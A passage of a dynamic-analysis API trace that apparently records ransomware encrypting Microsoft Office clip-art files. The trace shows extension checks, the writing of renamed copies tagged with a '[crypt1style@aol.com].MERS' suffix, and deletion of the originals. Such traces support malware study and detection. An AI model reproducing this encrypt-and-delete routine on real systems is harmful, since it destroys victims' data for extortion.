(lpString=".zip") returned 4 [0268.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.836] lstrlenW (lpString=".rar") returned 4 [0268.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.836] lstrlenW (lpString=".bz2") returned 4 [0268.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.836] lstrlenW (lpString=".7z") returned 3 [0268.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.836] lstrlenW (lpString=".dbf") returned 4 [0268.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.836] lstrlenW (lpString=".1cd") returned 4 [0268.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.836] lstrlenW (lpString=".jpg") returned 4 [0268.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.836] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.836] lstrlenW (lpString="AN01545_.WMF") returned 12 [0268.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0268.837] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=7372) returned 1 [0268.837] CloseHandle (hObject=0x3a8) returned 1 [0268.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0268.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0268.837] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.837] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0268.837] GetLastError () returned 0x0 [0268.837] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0268.892] WriteFile (in: hFile=0x3e4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0268.892] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0268.893] WriteFile (in: hFile=0x3e4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.893] SetEndOfFile (hFile=0x3e4) returned 1 [0268.893] CloseHandle (hObject=0x3e4) returned 1 [0268.893] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.893] SetEndOfFile (hFile=0x3a8) returned 1 [0268.895] CloseHandle (hObject=0x3a8) returned 1 [0268.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0268.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.895] lstrlenW (lpString=".doc") returned 4 [0268.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.895] lstrlenW (lpString=".docx") returned 5 [0268.895] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.895] lstrlenW (lpString=".pdf") returned 4 [0268.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.895] lstrlenW (lpString=".xls") returned 4 [0268.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.895] lstrlenW (lpString=".xlsx") returned 5 [0268.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.895] lstrlenW (lpString=".ppt") returned 4 [0268.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.895] lstrlenW (lpString=".zip") returned 4 [0268.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.895] lstrlenW (lpString=".rar") returned 4 [0268.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.895] lstrlenW (lpString=".bz2") returned 4 [0268.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.896] lstrlenW (lpString=".7z") returned 3 [0268.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.896] lstrlenW (lpString=".dbf") returned 4 [0268.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.896] lstrlenW (lpString=".1cd") returned 4 [0268.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.896] lstrlenW (lpString=".jpg") returned 4 [0268.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.896] lstrlenW (lpString=".doc") returned 4 [0268.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.896] lstrlenW (lpString=".docx") returned 5 [0268.896] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.896] lstrlenW (lpString=".pdf") returned 4 [0268.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.896] lstrlenW (lpString=".xls") returned 4 [0268.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.896] lstrlenW (lpString=".xlsx") returned 5 [0268.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.896] lstrlenW (lpString=".ppt") returned 4 [0268.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.896] lstrlenW (lpString=".zip") returned 4 [0268.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.896] lstrlenW (lpString=".rar") returned 4 [0268.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.896] lstrlenW (lpString=".bz2") returned 4 [0268.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.896] lstrlenW (lpString=".7z") returned 3 [0268.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.897] lstrlenW (lpString=".dbf") returned 4 [0268.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.897] lstrlenW (lpString=".1cd") returned 4 [0268.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0268.897] lstrlenW (lpString=".jpg") returned 4 [0268.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.897] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.897] lstrlenW (lpString="AN02559_.WMF") returned 12 [0268.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0268.897] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=6632) returned 1 [0268.897] CloseHandle (hObject=0x3a8) returned 1 [0268.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0268.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0268.898] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.898] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0268.898] GetLastError () returned 0x0 [0268.899] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x19e8, lpOverlapped=0x0) returned 1 [0268.968] WriteFile (in: hFile=0x3e4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0268.969] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0268.969] WriteFile (in: hFile=0x3e4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.969] SetEndOfFile (hFile=0x3e4) returned 1 [0268.969] CloseHandle (hObject=0x3e4) returned 1 [0268.969] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.969] SetEndOfFile (hFile=0x3a8) returned 1 [0268.971] CloseHandle (hObject=0x3a8) returned 1 [0268.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0268.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.971] lstrlenW (lpString=".doc") returned 4 [0268.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.971] lstrlenW (lpString=".docx") returned 5 [0268.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.971] lstrlenW (lpString=".pdf") returned 4 [0268.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.971] lstrlenW (lpString=".xls") returned 4 [0268.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.971] lstrlenW (lpString=".xlsx") returned 5 [0268.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.971] lstrlenW (lpString=".ppt") returned 4 [0268.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.972] lstrlenW (lpString=".zip") returned 4 [0268.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.972] lstrlenW (lpString=".rar") returned 4 [0268.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.972] lstrlenW (lpString=".bz2") returned 4 [0268.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.972] lstrlenW (lpString=".7z") returned 3 [0268.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.972] lstrlenW (lpString=".dbf") returned 4 [0268.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.972] lstrlenW (lpString=".1cd") returned 4 [0268.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.972] lstrlenW (lpString=".jpg") returned 4 [0268.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.972] lstrlenW (lpString=".doc") returned 4 [0268.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.972] lstrlenW (lpString=".docx") returned 5 [0268.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.972] lstrlenW (lpString=".pdf") returned 4 [0268.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.972] lstrlenW (lpString=".xls") returned 4 [0268.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.972] lstrlenW (lpString=".xlsx") returned 5 [0268.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.972] lstrlenW (lpString=".ppt") returned 4 [0268.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.972] lstrlenW (lpString=".zip") returned 4 [0268.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.973] lstrlenW (lpString=".rar") returned 4 [0268.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.973] lstrlenW (lpString=".bz2") returned 4 [0268.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.973] lstrlenW (lpString=".7z") returned 3 [0268.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.973] lstrlenW (lpString=".dbf") returned 4 [0268.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.973] lstrlenW (lpString=".1cd") returned 4 [0268.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0268.973] lstrlenW (lpString=".jpg") returned 4 [0268.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.973] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.973] lstrlenW (lpString="AN04117_.WMF") returned 12 [0268.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0268.973] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=6060) returned 1 [0268.973] CloseHandle (hObject=0x3a8) returned 1 [0268.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0268.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0268.974] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.974] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0268.974] GetLastError () returned 0x0 [0268.974] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x17ac, lpOverlapped=0x0) returned 1 [0269.236] WriteFile (in: hFile=0x3e4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0269.237] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0269.237] WriteFile (in: hFile=0x3e4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.237] SetEndOfFile (hFile=0x3e4) returned 1 [0269.237] CloseHandle (hObject=0x3e4) returned 1 [0269.237] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.237] SetEndOfFile (hFile=0x3a8) returned 1 [0269.239] CloseHandle (hObject=0x3a8) returned 1 [0269.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0269.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.240] lstrlenW (lpString=".doc") returned 4 [0269.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString=".docx") returned 5 [0269.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.240] lstrlenW (lpString=".pdf") returned 4 [0269.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString=".xls") returned 4 [0269.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.240] lstrlenW (lpString=".xlsx") returned 5 [0269.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.240] lstrlenW (lpString=".ppt") returned 4 [0269.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.240] lstrlenW (lpString=".zip") returned 4 [0269.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.240] lstrlenW (lpString=".rar") returned 4 [0269.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString=".bz2") returned 4 [0269.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString=".7z") returned 3 [0269.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.240] lstrlenW (lpString=".dbf") returned 4 [0269.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.241] lstrlenW (lpString=".1cd") returned 4 [0269.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.241] lstrlenW (lpString=".jpg") returned 4 [0269.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.241] lstrlenW (lpString=".doc") returned 4 [0269.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString=".docx") returned 5 [0269.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.241] lstrlenW (lpString=".pdf") returned 4 [0269.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString=".xls") returned 4 [0269.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.241] lstrlenW (lpString=".xlsx") returned 5 [0269.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.241] lstrlenW (lpString=".ppt") returned 4 [0269.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.241] lstrlenW (lpString=".zip") returned 4 [0269.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.241] lstrlenW (lpString=".rar") returned 4 [0269.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString=".bz2") returned 4 [0269.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString=".7z") returned 3 [0269.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.242] lstrlenW (lpString=".dbf") returned 4 [0269.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString="C:\\Program Files\\Microsoft 